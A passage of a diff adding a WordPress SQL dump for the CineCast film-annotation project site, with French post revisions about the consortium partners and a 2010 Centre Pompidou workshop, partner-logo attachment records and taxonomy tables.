leader mondial dans la gestion et la livraison de contenu multimédia. Filiale du Groupe France Télécom, GlobeCast a été créée en 1997 par le regroupement de toutes les activités de transport par satellite de France Télécom, en France comme à l’étranger. A cet égard, la société bénéficie de 30 années d’expérience en tant que fournisseur de services de transport audiovisuel par satellite. Fin 2007, GlobeCast compte quelques 660 salariés répartis à travers le monde. Ces dernières années, GlobeCast s’est repositionné avec succès dans la chaîne de valeur de la prestation audiovisuelle, tirant profit des innovations technologiques et des tendances du marché. GlobeCast traite le contenu audiovisuel en amont et en aval de son transport, agrège les chaînes de télévision dans ses centres techniques et opère un réseau interconnectant ses téléports via un réseau optique sécurisé. En 2008 GlobeCast fait l’acquisition de NETIA, l’un des leaders de la commercialisation de solutions logicielles pour la gestion et la diffusion de contenus audiovisuels pour renforcer son portefeuille de service à valeur ajoutée.\n\nb) L’expertise et la connaissance des contenus (bibliothèques, sites VoD, média sociaux)\n\nHistoriquement le projet s’est construit autour de la compétence documentaire et de la connaissance du cinéma des principaux fonds d’archives cinéma avec pour ambition commune de valoriser cette expertise, de la partager avec d’autres fournisseurs de contenus du secteur commercial et de s’intégrer dans la dynamique des réseaux sociaux :\n\nA ces compétences se sont ajoutées celles d''acteurs reconnus du domaine\n\nEnfin Telecom Paris Tech apporte sa connaissance du secteur culturel et des médias et son expertise dans l’analyse des usages et les stratégie socio-économiques.', 'Consortium', '', 'inherit', 'open', 'open', '', '19-autosave', '', '', '2010-03-12 11:20:25', '2010-03-12 11:20:25', '', 19, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=29', 0, 'revision', '', 0), +(30, 1, '2010-03-12 10:35:36', '2010-03-12 10:35:36', 'Le projet combine de manière équilibrée de fortes compétences technologiques avec une expertise exceptionnelle sur les contenus.\r\n\r\na) Une plateforme technologique Rich Média\r\n\r\n3 briques technologiques\r\n\r\nUne plateforme technique permettant d’intégrer ces briques technologiques, développée par NETIA autour de son produit HyperCast Warehouse et testée en vrai grandeur durant le projet par le groupe GlobeCast.\r\n\r\nL’IRI/Centre Pompidou, le LIRIS et le Forum des Images sont trois partenaires de ce projet également associés dans le projet CineLab (ANR 2006) qui explore les nouveaux modes d’annotation d’objets temporels notamment à l’aide de dispositifs mobiles. Ce projet a permis de cerner de près les nouvelles pratiques en cours d’émergence dans le domaine de la navigation et de l’annotation cinématographique. Il a également permis d’identifier les besoins des principaux acteurs proposant des archives cinématographiques et des services Web ou VoD qui sont porteurs de la proposition CineCast.\r\n\r\nPlusieurs des partenaires disposent d’une expérience solide en matière de développement d’outils d’annotation filmique et de partage tels que Advene (LIRIS), SemanticVox (OMT CNRS/CEA LIST), Lignes de temps (IRI) ou MediaScope (INA/Netia). On trouvera des descriptions détaillées des outils en annexe.\r\n\r\nGlobeCast est aujourd’hui un leader mondial dans la gestion et la livraison de contenu multimédia. Filiale du Groupe France Télécom, GlobeCast a été créée en 1997 par le regroupement de toutes les activités de transport par satellite de France Télécom, en France comme à l’étranger. A cet égard, la société bénéficie de 30 années d’expérience en tant que fournisseur de services de transport audiovisuel par satellite. Fin 2007, GlobeCast compte quelques 660 salariés répartis à travers le monde. Ces dernières années, GlobeCast s’est repositionné avec succès dans la chaîne de valeur de la prestation audiovisuelle, tirant profit des innovations technologiques et des tendances du marché. GlobeCast traite le contenu audiovisuel en amont et en aval de son transport, agrège les chaînes de télévision dans ses centres techniques et opère un réseau interconnectant ses téléports via un réseau optique sécurisé. En 2008 GlobeCast fait l’acquisition de NETIA, l’un des leaders de la commercialisation de solutions logicielles pour la gestion et la diffusion de contenus audiovisuels pour renforcer son portefeuille de service à valeur ajoutée.\r\n\r\nb) L’expertise et la connaissance des contenus (bibliothèques, sites VoD, média sociaux)\r\n\r\nHistoriquement le projet s’est construit autour de la compétence documentaire et de la connaissance du cinéma des principaux fonds d’archives cinéma avec pour ambition commune de valoriser cette expertise, de la partager avec d’autres fournisseurs de contenus du secteur commercial et de s’intégrer dans la dynamique des réseaux sociaux :\r\n\r\nA ces compétences se sont ajoutées celles d''acteurs reconnus du domaine\r\n\r\nEnfin Telecom Paris Tech apporte sa connaissance du secteur culturel et des médias et son expertise dans l’analyse des usages et les stratégie socio-économiques.', 'Consortium', '', 'inherit', 'open', 'open', '', '19-revision-4', '', '', '2010-03-12 10:35:36', '2010-03-12 10:35:36', '', 19, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=30', 0, 'revision', '', 0), +(31, 1, '2010-03-12 11:16:24', '2010-03-12 11:16:24', 'Le projet combine de manière équilibrée de fortes compétences technologiques avec une expertise exceptionnelle sur les contenus.\r\n\r\na) Une plateforme technologique Rich Média\r\n\r\n3 briques technologiques\r\n\r\nUne plateforme technique permettant d’intégrer ces briques technologiques, développée par NETIA autour de son produit HyperCast Warehouse et testée en vrai grandeur durant le projet par le groupe GlobeCast.\r\n\r\nL’IRI/Centre Pompidou, le LIRIS et le Forum des Images sont trois partenaires de ce projet également associés dans le projet CineLab (ANR 2006) qui explore les nouveaux modes d’annotation d’objets temporels notamment à l’aide de dispositifs mobiles. Ce projet a permis de cerner de près les nouvelles pratiques en cours d’émergence dans le domaine de la navigation et de l’annotation cinématographique. Il a également permis d’identifier les besoins des principaux acteurs proposant des archives cinématographiques et des services Web ou VoD qui sont porteurs de la proposition CineCast.\r\n\r\nPlusieurs des partenaires disposent d’une expérience solide en matière de développement d’outils d’annotation filmique et de partage tels que Advene (LIRIS), SemanticVox (OMT CNRS/CEA LIST), Lignes de temps (IRI) ou MediaScope (INA/Netia). On trouvera des descriptions détaillées des outils en annexe.\r\n\r\nGlobeCast est aujourd’hui un leader mondial dans la gestion et la livraison de contenu multimédia. Filiale du Groupe France Télécom, GlobeCast a été créée en 1997 par le regroupement de toutes les activités de transport par satellite de France Télécom, en France comme à l’étranger. A cet égard, la société bénéficie de 30 années d’expérience en tant que fournisseur de services de transport audiovisuel par satellite. Fin 2007, GlobeCast compte quelques 660 salariés répartis à travers le monde. Ces dernières années, GlobeCast s’est repositionné avec succès dans la chaîne de valeur de la prestation audiovisuelle, tirant profit des innovations technologiques et des tendances du marché. GlobeCast traite le contenu audiovisuel en amont et en aval de son transport, agrège les chaînes de télévision dans ses centres techniques et opère un réseau interconnectant ses téléports via un réseau optique sécurisé. En 2008 GlobeCast fait l’acquisition de NETIA, l’un des leaders de la commercialisation de solutions logicielles pour la gestion et la diffusion de contenus audiovisuels pour renforcer son portefeuille de service à valeur ajoutée.\r\n\r\nb) L’expertise et la connaissance des contenus (bibliothèques, sites VoD, média sociaux)\r\n\r\nHistoriquement le projet s’est construit autour de la compétence documentaire et de la connaissance du cinéma des principaux fonds d’archives cinéma avec pour ambition commune de valoriser cette expertise, de la partager avec d’autres fournisseurs de contenus du secteur commercial et de s’intégrer dans la dynamique des réseaux sociaux :\r\n\r\nA ces compétences se sont ajoutées celles d''acteurs reconnus du domaine\r\n\r\nEnfin Telecom Paris Tech apporte sa connaissance du secteur culturel et des médias et son expertise dans l’analyse des usages et les stratégie socio-économiques.', 'Consortium', '', 'inherit', 'open', 'open', '', '19-revision-5', '', '', '2010-03-12 11:16:24', '2010-03-12 11:16:24', '', 19, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=31', 0, 'revision', '', 0), +(32, 1, '2010-03-12 11:29:18', '2010-03-12 11:29:18', 'Atelier Cinéma et réseaux numériques\nDébat sur les enjeux du Très Haut Débit\nDans le cadre du projet de plateforme régionale THD Cap Digital\navec la participation des partenaires du projet FUI CineCast\nVendredi 26 mars 2010, de 15h à 18h00, en salle Piazza (Centre Pompidou)\nProposé par l''Institut de recherche et d''innovation\n\nLes principaux acteurs du monde culturel, publics comme privés, portent un intérêt croissant à la profonde mutation\nintroduite par le passage d’une économie culturelle reposant sur la consommation et l’audience de masse à une\néconomie culturelle bouleversée par le développement des réseaux numériques à très haut débit (dits THD) et reposant largement sur la contribution et les échanges. L’économie et les pratiques sociales du cinéma qui étaient initialement construites sur un modèle asymétrique et centralisé analogue à celui de la diffusion télévisuelle ou radiophonique évoluent ainsi vers des modèles de plus en plus flexibles, distribués et symétrique où les pratiques des amateurs se  complexifient et se diversifient en amont comme en aval de la diffusion. A ce point de convergence critique, que d’aucun désigne comme le Web 3.0, de grands acteurs industriels investissent et développent de nouvelles activités, pour assoir leurs stratégies industrielles dans le secteur du cinéma avec un focus particulier sur la qualité des métadonnées et à la flexibilité de la diffusion des films compte tenu de l’équipement des salles en réception et projection numérique (fiber-to-the-theater). De nombreuses sociétés investissent également le marché de ce que l’on désigne sous le nom d’ingénierie sociale (c''est-à-dire les technologies et services pour les sites collaboratifs et les\nréseaux sociaux), et imaginent de nouveaux modèles économiques fondés sur la combinaison de logiques bottom-up et\ntop-down permise par la généralisation des réseaux THD symétriques.\nL’objectif de cet atelier piloté par l’Iri (Institut de recherche et d’innovation) et mis en place dans le cadre du projet de\nplateforme régionale THD coordonné par Cap Digital, est d’interroger l’impact des technologies THD sur l’évolution des\nmodèles économiques de l''industrie cinématographiques ainsi que sur les pratiques culturelles et sociales afférentes.\nUn intérêt particulier sera porté au développement des pratiques contributives d’enrichissement et de diffusion de\ncontenus, ainsi qu’à l’émergence de nouveaux services à haute valeur ajoutée, tant au niveau des fournisseurs de\ncontenus que des medias sociaux connexes. L’atelier pourra ainsi être structuré autour de trois thématiques, dans la\nperspective des opportunités offertes par les réseaux très haut débit :\n\n\n15h00-15h20 : Introduction à l’atelier\n• Vincent Puig, Directeur Adjoint de l’Institut de Recherche et d’Innovation\n\n\n15h20-16h00 : Technologies numériques et diffusion\n• Guillaume Blanchot, Directeur du Multimédia et des industries techniques du CNC\n• Christophe Beauvais, Directeur Applications Entreprise et Jérémie Roudaire, Directeur du développement\ncommercial Amérique Latine, GlobeCast\n\n\n16h00-16h40 : Nouveaux modèles économiques\n• Frédéric Sitterlé, Fondateur de My Skreen\n• Thomas Jullienne, Responsable Marketing Salle d’AlloCiné\n\n\n16h40-17h20 : Pratiques sociales et contributives\n• David Honnorat, co-fondateur, Directeur produits et communautés de Vodkaster\n• Bruno Daniault, Président de IP…Ciné\n17h20-18h00 : Débat sur les enjeux du très haut débit\nInscription et information : par mail à l’adresse suivante : contact@iri.centrepompidou.fr\nSites relatifs aux projets THD et CineCast : http://portailthd.fr, http://thdculture.fr, http://cinecast.fr', 'Atelier Cinéma & réseaux numériques', '', 'inherit', 'open', 'open', '', '6-autosave', '', '', '2010-03-12 11:29:18', '2010-03-12 11:29:18', '', 6, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=32', 0, 'revision', '', 0), +(33, 1, '2010-03-12 09:23:58', '2010-03-12 09:23:58', 'dfqgdfgdfgdf', 'test test test ', '', 'inherit', 'open', 'open', '', '6-revision-3', '', '', '2010-03-12 09:23:58', '2010-03-12 09:23:58', '', 6, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=33', 0, 'revision', '', 0), +(34, 1, '2010-03-12 11:26:14', '2010-03-12 11:26:14', 'Atelier Cinéma et réseaux numériques\r\nDébat sur les enjeux du Très Haut Débit\r\nDans le cadre du projet de plateforme régionale THD Cap Digital\r\navec la participation des partenaires du projet FUI CineCast\r\nVendredi 26 mars 2010, de 15h à 18h00, en salle Piazza (Centre Pompidou)\r\nProposé par l''Institut de recherche et d''innovation\r\n\r\nLes principaux acteurs du monde culturel, publics comme privés, portent un intérêt croissant à la profonde mutation\r\nintroduite par le passage d’une économie culturelle reposant sur la consommation et l’audience de masse à une\r\néconomie culturelle bouleversée par le développement des réseaux numériques à très haut débit (dits THD) et reposant\r\nlargement sur la contribution et les échanges. L’économie et les pratiques sociales du cinéma qui étaient initialement\r\nconstruites sur un modèle asymétrique et centralisé analogue à celui de la diffusion télévisuelle ou radiophonique\r\névoluent ainsi vers des modèles de plus en plus flexibles, distribués et symétrique où les pratiques des amateurs se\r\ncomplexifient et se diversifient en amont comme en aval de la diffusion. A ce point de convergence critique, que\r\nd’aucun désigne comme le Web 3.0, de grands acteurs industriels investissent et développent de nouvelles activités,\r\npour assoir leurs stratégies industrielles dans le secteur du cinéma avec un focus particulier sur la qualité des\r\nmétadonnées et à la flexibilité de la diffusion des films compte tenu de l’équipement des salles en réception et\r\nprojection numérique (fiber-to-the-theater). De nombreuses sociétés investissent également le marché de ce que l’on\r\ndésigne sous le nom d’ingénierie sociale (c''est-à-dire les technologies et services pour les sites collaboratifs et les\r\nréseaux sociaux), et imaginent de nouveaux modèles économiques fondés sur la combinaison de logiques bottom-up et\r\ntop-down permise par la généralisation des réseaux THD symétriques.\r\nL’objectif de cet atelier piloté par l’Iri (Institut de recherche et d’innovation) et mis en place dans le cadre du projet de\r\nplateforme régionale THD coordonné par Cap Digital, est d’interroger l’impact des technologies THD sur l’évolution des\r\nmodèles économiques de l''industrie cinématographiques ainsi que sur les pratiques culturelles et sociales afférentes.\r\nUn intérêt particulier sera porté au développement des pratiques contributives d’enrichissement et de diffusion de\r\ncontenus, ainsi qu’à l’émergence de nouveaux services à haute valeur ajoutée, tant au niveau des fournisseurs de\r\ncontenus que des medias sociaux connexes. L’atelier pourra ainsi être structuré autour de trois thématiques, dans la\r\nperspective des opportunités offertes par les réseaux très haut débit :\r\n\r\n\r\n15h00-15h20 : Introduction à l’atelier\r\n• Vincent Puig, Directeur Adjoint de l’Institut de Recherche et d’Innovation\r\n\r\n\r\n15h20-16h00 : Technologies numériques et diffusion\r\n• Guillaume Blanchot, Directeur du Multimédia et des industries techniques du CNC\r\n• Christophe Beauvais, Directeur Applications Entreprise et Jérémie Roudaire, Directeur du développement\r\ncommercial Amérique Latine, GlobeCast\r\n\r\n\r\n16h00-16h40 : Nouveaux modèles économiques\r\n• Frédéric Sitterlé, Fondateur de My Skreen\r\n• Thomas Jullienne, Responsable Marketing Salle d’AlloCiné\r\n\r\n\r\n16h40-17h20 : Pratiques sociales et contributives\r\n• David Honnorat, co-fondateur, Directeur produits et communautés de Vodkaster\r\n• Bruno Daniault, Président de IP…Ciné\r\n17h20-18h00 : Débat sur les enjeux du très haut débit\r\nInscription et information : par mail à l’adresse suivante : contact@iri.centrepompidou.fr\r\nSites relatifs aux projets THD et CineCast : http://portailthd.fr, http://thdculture.fr, http://cinecast.fr', 'Atelier Cinéma & réseaux numériques', '', 'inherit', 'open', 'open', '', '6-revision-4', '', '', '2010-03-12 11:26:14', '2010-03-12 11:26:14', '', 6, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=34', 0, 'revision', '', 0), +(35, 1, '2010-03-12 11:29:30', '2010-03-12 11:29:30', 'tets tet sgd shfsdhqfksdjk fhjksdqh klfhsdjk', 'test test test ', '', 'inherit', 'open', 'open', '', '3-autosave', '', '', '2010-03-12 11:29:30', '2010-03-12 11:29:30', '', 3, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=35', 0, 'revision', '', 0), +(36, 1, '2010-03-12 11:07:13', '2010-03-12 11:07:13', 'contact {arrobase} cinecast {point} fr', 'contact', '', 'inherit', 'open', 'open', '', '27-revision', '', '', '2010-03-12 11:07:13', '2010-03-12 11:07:13', '', 27, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=36', 0, 'revision', '', 0), +(37, 1, '2010-03-12 09:23:30', '2010-03-12 09:23:30', 'tets tet sgd shfsdhqfksdjk fhjksdqh klfhsdjk', 'test test test ', '', 'inherit', 'open', 'open', '', '3-revision-3', '', '', '2010-03-12 09:23:30', '2010-03-12 09:23:30', '', 3, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=37', 0, 'revision', '', 0), +(38, 1, '2010-03-12 08:51:22', '2010-03-12 08:51:22', 'Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!', 'Hello world!', '', 'inherit', 'open', 'open', '', '1-revision', '', '', '2010-03-12 08:51:22', '2010-03-12 08:51:22', '', 1, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=38', 0, 'revision', '', 0), +(39, 1, '2010-03-12 13:04:57', '2010-03-12 13:04:57', '\n\n\n\n\n\n\n\n\n\n\n
', 'Partenaires', '', 'inherit', 'open', 'open', '', '24-autosave', '', '', '2010-03-12 13:04:57', '2010-03-12 13:04:57', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=39', 0, 'revision', '', 0), +(40, 1, '2010-03-12 12:56:31', '2010-03-12 12:56:31', '', 'te_lesitetv', '', 'inherit', 'open', 'open', '', 'te_lesitetv', '', '', '2010-03-12 12:56:31', '2010-03-12 12:56:31', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/te_lesitetv.jpg', 0, 'attachment', 'image/jpeg', 0), +(41, 1, '2010-03-12 12:56:38', '2010-03-12 12:56:38', '', 'oniram_logo_06_out', '', 'inherit', 'open', 'open', '', 'oniram_logo_06_out', '', '', '2010-03-12 12:56:38', '2010-03-12 12:56:38', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/oniram_logo_06_out.gif', 0, 'attachment', 'image/gif', 0), +(42, 1, '2010-03-12 12:56:42', '2010-03-12 12:56:42', '', 'logo-cinematheque-francaise', '', 'inherit', 'open', 'open', '', 'logo-cinematheque-francaise', '', '', '2010-03-12 12:56:42', '2010-03-12 12:56:42', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo-cinematheque-francaise.gif', 0, 'attachment', 'image/gif', 0), +(43, 1, '2010-03-12 12:56:45', '2010-03-12 12:56:45', '', 'logo_transparent', '', 'inherit', 'open', 'open', '', 'logo_transparent', '', '', '2010-03-12 12:56:45', '2010-03-12 12:56:45', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_transparent.gif', 0, 'attachment', 'image/gif', 0), +(44, 1, '2010-03-12 12:56:48', '2010-03-12 12:56:48', '', 'logo_telecom_paristech', '', 'inherit', 'open', 'open', '', 'logo_telecom_paristech', '', '', '2010-03-12 12:56:48', '2010-03-12 12:56:48', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_telecom_paristech.png', 0, 'attachment', 'image/png', 0), +(45, 1, '2010-03-12 12:56:51', '2010-03-12 12:56:51', '', 'logo_netia', '', 'inherit', 'open', 'open', '', 'logo_netia', '', '', '2010-03-12 12:56:51', '2010-03-12 12:56:51', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_netia.gif', 0, 'attachment', 'image/gif', 0), +(46, 1, '2010-03-12 12:56:54', '2010-03-12 12:56:54', '', 'logo_list', '', 'inherit', 'open', 'open', '', 'logo_list', '', '', '2010-03-12 12:56:54', '2010-03-12 12:56:54', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_list.gif', 0, 'attachment', 'image/gif', 0), +(47, 1, '2010-03-12 12:56:56', '2010-03-12 12:56:56', '', 'logo_liris', '', 'inherit', 'open', 'open', '', 'logo_liris', '', '', '2010-03-12 12:56:56', '2010-03-12 12:56:56', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_liris.png', 0, 'attachment', 'image/png', 0), +(48, 1, '2010-03-12 12:56:58', '2010-03-12 12:56:58', '', 'Logo_ina', '', 'inherit', 'open', 'open', '', 'logo_ina', '', '', '2010-03-12 12:56:58', '2010-03-12 12:56:58', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/Logo_ina.png', 0, 'attachment', 'image/png', 0), +(49, 1, '2010-03-12 12:57:06', '2010-03-12 12:57:06', '', 'Logo_ina', '', 'inherit', 'open', 'open', '', 'logo_ina-2', '', '', '2010-03-12 12:57:06', '2010-03-12 12:57:06', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/Logo_ina1.png', 0, 'attachment', 'image/png', 0), +(50, 1, '2010-03-12 12:57:09', '2010-03-12 12:57:09', '', 'logo_fdi', '', 'inherit', 'open', 'open', '', 'logo_fdi', '', '', '2010-03-12 12:57:09', '2010-03-12 12:57:09', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_fdi.png', 0, 'attachment', 'image/png', 0), +(51, 1, '2010-03-12 12:57:11', '2010-03-12 12:57:11', '', 'logo_exalead', '', 'inherit', 'open', 'open', '', 'logo_exalead', '', '', '2010-03-12 12:57:11', '2010-03-12 12:57:11', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_exalead.jpg', 0, 'attachment', 'image/jpeg', 0), +(52, 1, '2010-03-12 12:57:16', '2010-03-12 12:57:16', '', 'logo_allocine', '', 'inherit', 'open', 'open', '', 'logo_allocine', '', '', '2010-03-12 12:57:16', '2010-03-12 12:57:16', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo_allocine.gif', 0, 'attachment', 'image/gif', 0), +(53, 1, '2010-03-12 12:57:18', '2010-03-12 12:57:18', '', 'logo', '', 'inherit', 'open', 'open', '', 'logo', '', '', '2010-03-12 12:57:18', '2010-03-12 12:57:18', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo.png', 0, 'attachment', 'image/png', 0), +(54, 1, '2010-03-12 12:57:21', '2010-03-12 12:57:21', '', 'logo', '', 'inherit', 'open', 'open', '', 'logo-2', '', '', '2010-03-12 12:57:21', '2010-03-12 12:57:21', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/logo.gif', 0, 'attachment', 'image/gif', 0), +(55, 1, '2010-03-12 12:57:26', '2010-03-12 12:57:26', '', 'iri', '', 'inherit', 'open', 'open', '', 'iri', '', '', '2010-03-12 12:57:26', '2010-03-12 12:57:26', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/iri.png', 0, 'attachment', 'image/png', 0), +(56, 1, '2010-03-12 12:57:30', '2010-03-12 12:57:30', '', 'globcast_logo', '', 'inherit', 'open', 'open', '', 'globcast_logo', '', '', '2010-03-12 12:57:30', '2010-03-12 12:57:30', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/globcast_logo.gif', 0, 'attachment', 'image/gif', 0), +(57, 1, '2010-03-12 12:57:34', '2010-03-12 12:57:34', '', 'globcast_logo', '', 'inherit', 'open', 'open', '', 'globcast_logo-2', '', '', '2010-03-12 12:57:34', '2010-03-12 12:57:34', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/globcast_logo1.gif', 0, 'attachment', 'image/gif', 0), +(58, 1, '2010-03-12 12:57:37', '2010-03-12 12:57:37', '', 'exalead_logo', '', 'inherit', 'open', 'open', '', 'exalead_logo', '', '', '2010-03-12 12:57:37', '2010-03-12 12:57:37', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/exalead_logo.png', 0, 'attachment', 'image/png', 0), +(59, 1, '2010-03-12 12:57:42', '2010-03-12 12:57:42', '', 'bpi_logo_noir', '', 'inherit', 'open', 'open', '', 'bpi_logo_noir', '', '', '2010-03-12 12:57:42', '2010-03-12 12:57:42', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/bpi_logo_noir.jpg', 0, 'attachment', 'image/jpeg', 0), +(60, 1, '2010-03-12 12:57:43', '2010-03-12 12:57:43', '', '600px-Logo_BnF_svg', '', 'inherit', 'open', 'open', '', '600px-logo_bnf_svg', '', '', '2010-03-12 12:57:43', '2010-03-12 12:57:43', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/wp-content/uploads/2010/03/600px-Logo_BnF_svg.png', 0, 'attachment', 'image/png', 0), +(61, 1, '2010-03-12 11:07:02', '2010-03-12 11:07:02', '', 'Partenaires', '', 'inherit', 'open', 'open', '', '24-revision-3', '', '', '2010-03-12 11:07:02', '2010-03-12 11:07:02', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=61', 0, 'revision', '', 0), +(64, 1, '2010-03-12 13:01:41', '2010-03-12 13:01:41', '
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
', 'Partenaires', '', 'inherit', 'open', 'open', '', '24-revision-6', '', '', '2010-03-12 13:01:41', '2010-03-12 13:01:41', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=64', 0, 'revision', '', 0), +(62, 1, '2010-03-12 12:57:57', '2010-03-12 12:57:57', '
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
', 'Partenaires', '', 'inherit', 'open', 'open', '', '24-revision-4', '', '', '2010-03-12 12:57:57', '2010-03-12 12:57:57', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=62', 0, 'revision', '', 0), +(63, 1, '2010-03-12 12:58:09', '2010-03-12 12:58:09', '
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
', 'Partenaires', '', 'inherit', 'open', 'open', '', '24-revision-5', '', '', '2010-03-12 12:58:09', '2010-03-12 12:58:09', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=63', 0, 'revision', '', 0); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_terms` +-- + +DROP TABLE IF EXISTS `wp_terms`; +CREATE TABLE IF NOT EXISTS `wp_terms` ( + `term_id` bigint(20) unsigned NOT NULL auto_increment, + `name` varchar(200) NOT NULL default '', + `slug` varchar(200) NOT NULL default '', + `term_group` bigint(10) NOT NULL default '0', + PRIMARY KEY (`term_id`), + UNIQUE KEY `slug` (`slug`), + KEY `name` (`name`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=6 ; + +-- +-- Contenu de la table `wp_terms` +-- + +INSERT DELAYED IGNORE INTO `wp_terms` (`term_id`, `name`, `slug`, `term_group`) VALUES +(1, 'Uncategorized', 'uncategorized', 0), +(2, 'Blogroll', 'blogroll', 0), +(3, 'Bibliothèque', 'bibliotheque', 0), +(4, 'Réseaux sociaux', 'reseaux-sociaux', 0), +(5, 'Vidéo On Demand', 'video-on-demand', 0); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_term_relationships` +-- + +DROP TABLE IF EXISTS `wp_term_relationships`; +CREATE TABLE IF NOT EXISTS `wp_term_relationships` ( + `object_id` bigint(20) unsigned NOT NULL default '0', + `term_taxonomy_id` bigint(20) unsigned NOT NULL default '0', + `term_order` int(11) NOT NULL default '0', + PRIMARY KEY (`object_id`,`term_taxonomy_id`), + KEY `term_taxonomy_id` (`term_taxonomy_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; + +-- +-- Contenu de la table `wp_term_relationships` +-- + +INSERT DELAYED IGNORE INTO `wp_term_relationships` (`object_id`, `term_taxonomy_id`, `term_order`) VALUES +(1, 2, 0), +(2, 2, 0), +(3, 2, 0), +(4, 2, 0), +(5, 2, 0), +(6, 2, 0), +(7, 2, 0), +(1, 1, 0), +(4, 1, 0), +(3, 1, 0), +(5, 1, 0), +(3, 3, 0), +(7, 1, 0), +(6, 3, 0), +(8, 1, 0), +(6, 4, 0), +(6, 5, 0), +(9, 1, 0), +(10, 1, 0), +(11, 1, 0), +(12, 1, 0), +(2, 1, 0), +(13, 1, 0), +(14, 1, 0), +(15, 1, 0), +(16, 1, 0), +(17, 1, 0), +(18, 1, 0), +(19, 1, 0), +(20, 1, 0), +(21, 1, 0), +(22, 1, 0), +(23, 1, 0), +(24, 1, 0), +(25, 1, 0), +(26, 1, 0), +(27, 1, 0), +(28, 1, 0), +(29, 1, 0), +(30, 1, 0), +(31, 1, 0), +(32, 1, 0), +(33, 1, 0), +(34, 1, 0), +(35, 1, 0), +(36, 1, 0), +(37, 1, 0), +(38, 1, 0), +(39, 1, 0), +(40, 1, 0), +(41, 1, 0), +(42, 1, 0), +(43, 1, 0), +(44, 1, 0), +(45, 1, 0), +(46, 1, 0), +(47, 1, 0), +(48, 1, 0), +(49, 1, 0), +(50, 1, 0), +(51, 1, 0), +(52, 1, 0), +(53, 1, 0), +(54, 1, 0), +(55, 1, 0), +(56, 1, 0), +(57, 1, 0), +(58, 1, 0), +(59, 1, 0), +(60, 1, 0), +(61, 1, 0), +(62, 1, 0), +(63, 1, 0), +(64, 1, 0); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_term_taxonomy` +-- + +DROP TABLE IF EXISTS `wp_term_taxonomy`; +CREATE TABLE IF NOT EXISTS `wp_term_taxonomy` ( + `term_taxonomy_id` bigint(20) unsigned NOT NULL auto_increment, + `term_id` bigint(20) unsigned NOT NULL default '0', + `taxonomy` varchar(32) NOT NULL default '', + `description` longtext NOT NULL, + `parent` bigint(20) unsigned NOT NULL default '0', + `count` bigint(20) NOT NULL default '0', + PRIMARY KEY (`term_taxonomy_id`), + UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`), + KEY `taxonomy` (`taxonomy`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=6 ; + +-- +-- Contenu de la table `wp_term_taxonomy` +-- + +INSERT 